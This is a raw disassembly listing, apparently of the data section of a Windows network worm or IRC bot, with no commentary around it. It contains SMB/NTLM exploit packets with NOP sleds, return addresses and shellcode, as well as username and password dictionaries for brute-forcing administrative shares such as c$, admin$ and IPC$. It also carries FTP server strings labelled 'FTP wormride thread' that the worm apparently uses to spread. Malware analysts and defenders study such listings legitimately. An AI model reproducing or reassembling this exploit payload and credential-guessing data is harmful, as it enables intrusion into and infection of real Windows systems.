dd 2150000h, 0 dword_41B3E4 dd 0 ; DATA XREF: .text:00410F30o dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; DATA XREF: .text:00410DD7o ; .text:00410DEDo ... dword_41B410 dd 2080Ah, 0 ; DATA XREF: .text:00410DC1o dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh dd 4 dup(90909090h), 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 1013C79h, 909008EBh dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh dd 4 dup(90909090h), 0 dd 7E0h, 4, 2 dup(0) aFb db 'fìÐ',7,0 align 10h dd 129F74h, 0 dd 127D78h, 0 dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h dd 401002D2h, 50403002h, 4104C031h, 0C628C228h, 6604E2C0h dd 3104EAC1h, 2F630C0h, 66032803h, 58431301h, 802C931h dd 61D5E0h, 77BD3143h, 7FCh, 0C0314301h, 7FC77h, 4F020100h dd 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix_0 ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_1 ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aGod ; "god" dd offset aDomain ; "domain" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aData ; "data" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC ; "c$" dd offset aD ; "d$" dd offset aE ; "e$" dd offset aCShared ; "c$\\shared" dd offset aDShared ; "d$\\shared" dd offset aEShared ; "e$\\shared" dd offset aCWinnt ; "c$\\winnt" dd offset aCWindows ; "c$\\windows" dd offset aCWinntSystem32 ; "c$\\winnt\\system32" dd offset aCWindowsSystem ; "c$\\windows\\system32" dd offset aAdminSystem32 ; "Admin$\\system32" dd offset aAdmin_0 ; "admin$" dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"... dd offset aPrint ; "print$" dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DE30 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aA_1 ; "a" dd offset aAb ; "ab" dd offset aAbc ; "abc" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aDba ; "dba" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1_0 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset aWork ; "work" dd offset aDeadline ; "deadline" dd offset aPayday ; "payday" dd offset aSecret ; "secret" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset aTest ; "test" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix_0 ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_1 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin_0 ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aMoney ; "money" dd offset aLove ; "love" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 ; DATA XREF: .data:0041BF5Co aBlank db 'blank',0 ; DATA XREF: .data:0041BF58o align 4 aXp_0 db 'xp',0 ; DATA XREF: .data:0041BF4Co align 4 aNokia db 'nokia',0 ; DATA XREF: .data:0041BF48o align 10h aHp db 'hp',0 ; DATA XREF: .data:0041BF44o align 4 aOrainstall db 'orainstall',0 ; DATA XREF: .data:0041BF28o align 10h aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0041BF24o align 4 aDb1234 db 'db1234',0 ; DATA XREF: .data:0041BF18o align 4 aDb2 db 'db2',0 ; DATA XREF: .data:0041BF14o aDb1 db 'db1',0 ; DATA XREF: .data:0041BF10o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0041BF0Co align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0041BF04o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0041BF00o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:0041BEFCo align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0041BEF0o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:0041BEECo align 4 aHello db 'hello',0 ; DATA XREF: .data:0041BEE4o align 10h aHell db 'hell',0 ; DATA XREF: .data:0041BEE0o align 4 aLove db 'love',0 ; DATA XREF: .data:0041BEDCo align 10h aMoney db 'money',0 ; DATA XREF: .data:0041BED8o align 4 aSlut db 'slut',0 ; DATA XREF: .data:0041BECCo align 10h aBitch db 'bitch',0 ; DATA XREF: .data:0041BEC8o align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0041BEC4o align 10h aExchange db 'exchange',0 ; DATA XREF: .data:0041BEC0o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .data:0041BEB4o align 4 aLogin_0 db 'login',0 ; DATA XREF: .data:0041BEB0o align 10h aQwe db 'qwe',0 ; DATA XREF: .data:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: .data:0041BE48o aAsd db 'asd',0 ; DATA XREF: .data:0041BE44o aQaz db 'qaz',0 ; DATA XREF: .data:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: .data:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: .data:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: .data:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: .data:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: .data:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: .data:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: .data:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: .data:0041BE00o aSex db 'sex',0 ; DATA XREF: .data:0041BDFCo ; .data:0041BED0o aOutlook db 'outlook',0 ; DATA XREF: .data:0041BDECo aMail db 'mail',0 ; DATA XREF: .data:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: .data:0041BDE0o aTemp db 'temp',0 ; DATA XREF: .data:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: .data:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: .data:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: .data:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: .data:0041BDB4o align 10h aTest db 'test',0 ; DATA XREF: .data:0041BDA8o align 4 a2005 db '2005',0 ; DATA XREF: .data:0041BDA4o align 10h a2004 db '2004',0 ; DATA XREF: .data:0041BDA0o align 4 a2001 db '2001',0 ; DATA XREF: .data:0041BD94o align 10h aSecret db 'secret',0 ; DATA XREF: .data:0041BD8Co align 4 aPayday db 'payday',0 ; DATA XREF: .data:0041BD88o align 10h aDeadline db 'deadline',0 ; DATA XREF: .data:0041BD84o align 4 aWork db 'work',0 ; DATA XREF: .data:0041BD80o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:0041BD7Co align 10h a123456789 db '123456789',0 ; DATA XREF: .data:0041BD78o align 4 a12345678 db '12345678',0 ; DATA XREF: .data:0041BD74o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:0041BD70o a123456 db '123456',0 ; DATA XREF: .data:0041BD6Co align 4 a12345 db '12345',0 ; DATA XREF: .data:0041BD68o align 10h a1234 db '1234',0 ; DATA XREF: .data:0041BD64o align 4 a123 db '123',0 ; DATA XREF: .data:0041BD60o a12 db '12',0 ; DATA XREF: .data:0041BD5Co align 10h a1_0: ; DATA XREF: .data:0041BD58o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .data:0041BD54o aPwd db 'pwd',0 ; DATA XREF: .data:0041BD50o aPass_0 db 'pass',0 ; DATA XREF: .data:0041BD4Co align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:0041BD48o align 10h aDba db 'dba',0 ; DATA XREF: .data:0041BD44o aPasswd db 'passwd',0 ; DATA XREF: .data:0041BD40o align 4 aPassword db 'password',0 ; DATA XREF: .data:0041BD3Co ; .data:0041D790o align 4 aPassword1 db 'password1',0 ; DATA XREF: .data:0041BD38o align 4 aAbc db 'abc',0 ; DATA XREF: .data:0041BD34o aAb db 'ab',0 ; DATA XREF: .data:0041BD30o align 4 aA_1: ; DATA XREF: .data:0041BD2Co unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: .data:0041BD04o align 4 aPrint db 'print$',0 ; DATA XREF: .data:0041BD00o align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 ; DATA XREF: .data:0041BCFCo aAdmin_0 db 'admin$',0 ; DATA XREF: .data:0041BCF8o align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: .data:0041BCF4o aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: .data:0041BCECo align 10h aCWindows db 'c$\windows',0 ; DATA XREF: .data:0041BCE8o align 4 aCWinnt db 'c$\winnt',0 ; DATA XREF: .data:0041BCE4o align 4 aEShared db 'e$\shared',0 ; DATA XREF: .data:0041BCE0o align 4 aDShared db 'd$\shared',0 ; DATA XREF: .data:0041BCDCo align 10h aCShared db 'c$\shared',0 ; DATA XREF: .data:0041BCD8o align 4 aE db 'e$',0 ; DATA XREF: .data:0041BCD4o align 10h aD db 'd$',0 ; DATA XREF: .data:0041BCD0o align 4 aC db 'c$',0 ; DATA XREF: .data:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: .data:0041BCC4o ; .data:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: .data:0041BCC0o ; .data:0041BF78o aOwner db 'owner',0 ; DATA XREF: .data:0041BCBCo ; .data:0041BF74o align 10h aStudent db 'student',0 ; DATA XREF: .data:0041BCB8o ; .data:0041BF70o aIntranet db 'intranet',0 ; DATA XREF: .data:0041BCB4o ; .data:0041BF6Co align 4 aLan_0 db 'lan',0 ; DATA XREF: .data:0041BCACo ; .data:0041BF64o aMain db 'main',0 ; DATA XREF: .data:0041BCA8o ; .data:0041BF60o align 10h aOffice db 'office',0 ; DATA XREF: .data:0041BCA4o ; .data:0041BF54o align 4 aControl db 'control',0 ; DATA XREF: .data:0041BCA0o ; .data:0041BF50o aSiemens db 'siemens',0 ; DATA XREF: .data:0041BC9Co ; .data:0041BF40o aCompaq db 'compaq',0 ; DATA XREF: .data:0041BC98o ; .data:0041BF3Co align 10h aDell db 'dell',0 ; DATA XREF: .data:0041BC94o ; .data:0041BF38o align 4 aCisco db 'cisco',0 ; DATA XREF: .data:0041BC90o ; .data:0041BF34o align 10h aIbm db 'ibm',0 ; DATA XREF: .data:0041BC8Co ; .data:0041BF30o aOracle db 'oracle',0 ; DATA XREF: .data:0041BC88o ; .data:0041BF2Co align 4 aSql db 'sql',0 ; DATA XREF: .data:0041BC84o ; .data:0041BF20o aSa db 'sa',0 ; DATA XREF: .data:0041BC80o ; .data:0041BF1Co align 4 aData db 'data',0 ; DATA XREF: .data:0041BC7Co ; .data:0041BF08o align 4 aAccess db 'access',0 ; DATA XREF: .data:0041BC78o ; .data:0041BEF8o align 4 aDatabase db 'database',0 ; DATA XREF: .data:0041BC74o ; .data:0041BEF4o align 10h aDomain db 'domain',0 ; DATA XREF: .data:0041BC70o ; .data:0041BEE8o align 4 aGod db 'god',0 ; DATA XREF: .data:0041BC6Co ; .data:0041BED4o aBackup db 'backup',0 ; DATA XREF: .data:0041BC68o ; .data:0041BEBCo align 4 aTechnical db 'technical',0 ; DATA XREF: .data:0041BC64o ; .data:0041BEB8o align 10h aMary db 'mary',0 ; DATA XREF: .data:0041BC60o ; .data:0041BEACo align 4 aKatie db 'katie',0 ; DATA XREF: .data:0041BC5Co ; .data:0041BEA8o align 10h aKate db 'kate',0 ; DATA XREF: .data:0041BC54o ; .data:0041BEA0o align 4 aGeorge db 'george',0 ; DATA XREF: .data:0041BC50o ; .data:0041BE9Co align 10h aEric db 'eric',0 ; DATA XREF: .data:0041BC4Co ; .data:0041BE98o align 4 aNone db 'none',0 ; DATA XREF: .data:0041BC48o ; .data:0041BDB0o align 10h aGuest db 'guest',0 ; DATA XREF: .data:0041BC44o ; .data:0041BDACo align 4 aChris db 'chris',0 ; DATA XREF: .data:0041BC40o ; .data:0041BE94o align 10h aIan db 'ian',0 ; DATA XREF: .data:0041BC3Co ; .data:0041BE90o aNeil db 'neil',0 ; DATA XREF: .data:0041BC38o ; .data:0041BE8Co align 4 aLee db 'lee',0 ; DATA XREF: .data:0041BC34o ; .data:0041BE88o aBrian db 'brian',0 ; DATA XREF: .data:0041BC30o ; .data:0041BE84o align 4 aSusan db 'susan',0 ; DATA XREF: .data:0041BC28o ; .data:0041BE7Co align 10h aSue db 'sue',0 ; DATA XREF: .data:0041BC24o ; .data:0041BE78o aSam db 'sam',0 ; DATA XREF: .data:0041BC20o ; .data:0041BE74o aLuke db 'luke',0 ; DATA XREF: .data:0041BC1Co ; .data:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: .data:0041BC18o ; .data:0041BC2Co ... align 4 aJohn db 'john',0 ; DATA XREF: .data:0041BC14o ; .data:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: .data:0041BC10o ; .data:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: .data:0041BC0Co ; .data:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: .data:0041BC08o ; .data:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: .data:0041BC04o ; .data:0041BE58o aJen db 'jen',0 ; DATA XREF: .data:0041BC00o ; .data:0041BE54o aBob db 'bob',0 ; DATA XREF: .data:0041BBFCo ; .data:0041BC58o ... aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0041BBF8o ; .data:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .data:0041BBF4o ; .data:0041BE1Co aUser_1 db 'user',0 ; DATA XREF: .data:0041BBF0o ; .data:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .data:0041BBECo ; .data:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: .data:0041BBE8o ; .data:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: .data:0041BBE4o ; .data:0041BCB0o ... align 10h aWww db 'www',0 ; DATA XREF: .data:0041BBE0o ; .data:0041BDF4o aWeb db 'web',0 ; DATA XREF: .data:0041BBDCo ; .data:0041BDF0o aRoot db 'root',0 ; DATA XREF: .data:0041BBD8o ; .data:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: .data:0041BBD4o ; .data:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0041BBCCo ; .data:0041BDC0o align 10h aUnix_0 db 'unix',0 ; DATA XREF: .data:0041BBC8o ; .data:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: .data:0041BBC4o ; .data:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: .data:0041BBC0o ; .data:0041BD28o aAdmin db 'admin',0 ; DATA XREF: .data:0041BBBCo ; .data:0041BD24o align 10h aAdmins db 'admins',0 ; DATA XREF: .data:0041BBB8o ; .data:0041BD20o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0041BBB4o ; .data:0041BD1Co aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0041BBB0o ; .data:0041BD18o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0041BBACo ; .data:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:0041BBA8o ; .data:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: .text:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: .text:0041197Eo dword_41C514 dd 135A78h ; DATA XREF: .text:0041196Fr align 10h unk_41C520 db 2Dh ; - ; DATA XREF: .text:00411948o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: .text:00411943o dword_41C54C dd 157728h ; DATA XREF: .text:00411879r dd 2 dup(0) a226 db '226 -',0Dh,0Ah,0 ; DATA XREF: .text:00411832o ; .text:004118E5o aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: .text:004117EAo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: .text:00411702o ; .text:0041188Co dword_41C5DC dd 146AF8h ; DATA XREF: .text:004116EFr dd 2 dup(0) a213U db '213 %u',0Dh,0Ah,0 ; DATA XREF: .text:004116A8o align 4 dword_41C5F4 dd 1227B0h ; DATA XREF: .text:00411628r align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: .text:00411562o align 4 dword_41C614 dd 0F6578h ; DATA XREF: .text:00411525r align 10h a425 db '425 -',0Dh,0Ah,0 ; DATA XREF: .text:004114DEo dword_41C628 dd 0FED08h ; DATA XREF: .text:004114CFr dd 2 dup(0) a200 db '200 -',0Dh,0Ah,0 ; DATA XREF: .text:00411488o ; .text:004115E1o dword_41C63C dd 128230h ; DATA XREF: .text:00411479r dd 2 dup(0) a257 db '257 "/" -',0Dh,0Ah,0 ; DATA XREF: .text:00411432o dword_41C654 dd 1F738h ; DATA XREF: .text:00411423r dd 0 a211 db '211 -',0Dh,0Ah,0 ; DATA XREF: .text:004113DCo dword_41C664 dd 1232B8h ; DATA XREF: .text:004113CDr align 10h a215 db '215 -',0Dh,0Ah,0 ; DATA XREF: .text:00411386o dword_41C678 dd 124AF8h ; DATA XREF: .text:00411377r dd 2 dup(0) a230 db '230 -',0Dh,0Ah,0 ; DATA XREF: .text:0041131Co dword_41C68C dd 0FECD8h ; DATA XREF: .text:00411303r dd 2 dup(0) a331 db '331 -',0Dh,0Ah,0 ; DATA XREF: .text:004112BCo dword_41C6A0 dd 163AE8h ; DATA XREF: .text:004112A6r dd 2 dup(0) dword_41C6AC dd 0A0D20h ; DATA XREF: .text:00411224o ; .text:00411250o ... a220 db '220 -',0Dh,0Ah,0 ; DATA XREF: .text:0041114Eo a230_0 db '230',0 ; DATA XREF: sub_411A09+193o aPass1 db 'PASS 1',0Dh,0Ah,0 ; DATA XREF: sub_411A09+11Do align 4 a331_0 db '331',0 ; DATA XREF: sub_411A09+F9o aUser1 db 'USER 1',0Dh,0Ah,0 ; DATA XREF: sub_411A09:loc_411A8Ao align 4 a220_0 db '220',0 ; DATA XREF: sub_411A09+63o unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: .text:004123A7o unk_41C730 